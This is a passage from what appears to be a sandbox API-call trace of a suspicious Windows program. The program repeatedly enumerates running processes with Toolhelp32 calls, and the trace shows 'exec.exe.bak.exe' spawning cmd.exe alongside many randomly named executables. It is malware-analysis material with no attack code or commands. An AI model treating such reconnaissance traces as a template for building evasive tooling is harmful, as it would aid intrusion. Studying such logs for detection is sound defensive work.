cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0097.301] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0097.302] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0097.320] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0097.321] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0097.322] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.323] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.324] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.324] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0097.325] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.326] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0097.327] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0097.327] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0097.328] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.329] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.330] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.593] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0097.611] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0097.612] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0097.613] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0097.613] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.614] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.614] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0097.615] Process32NextW (in: hSnapshot=0x304, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0097.616] CloseHandle (hObject=0x304) returned 1 [0097.616] Sleep (dwMilliseconds=0x1f4) [0099.767] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0099.779] Process32FirstW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.780] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0099.780] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0099.781] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.782] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0099.782] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.783] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0099.784] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0099.784] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0099.785] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.786] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0099.786] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0099.787] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.788] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0099.789] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.789] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.790] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.791] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.791] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.792] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.793] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.793] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.794] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.795] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.796] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0099.796] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.797] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0099.798] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0099.798] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.799] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.800] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0099.801] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0099.801] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0099.802] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0099.803] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0099.804] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0099.804] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0099.805] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0099.806] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0099.806] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0099.807] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0099.808] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0099.809] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0100.197] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0100.198] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0100.198] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0100.199] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0100.200] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0100.200] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0100.201] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0100.201] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0100.202] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0100.202] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0100.203] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0100.203] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0100.204] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0100.204] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0100.205] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0100.205] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0100.206] Process32NextW (in: 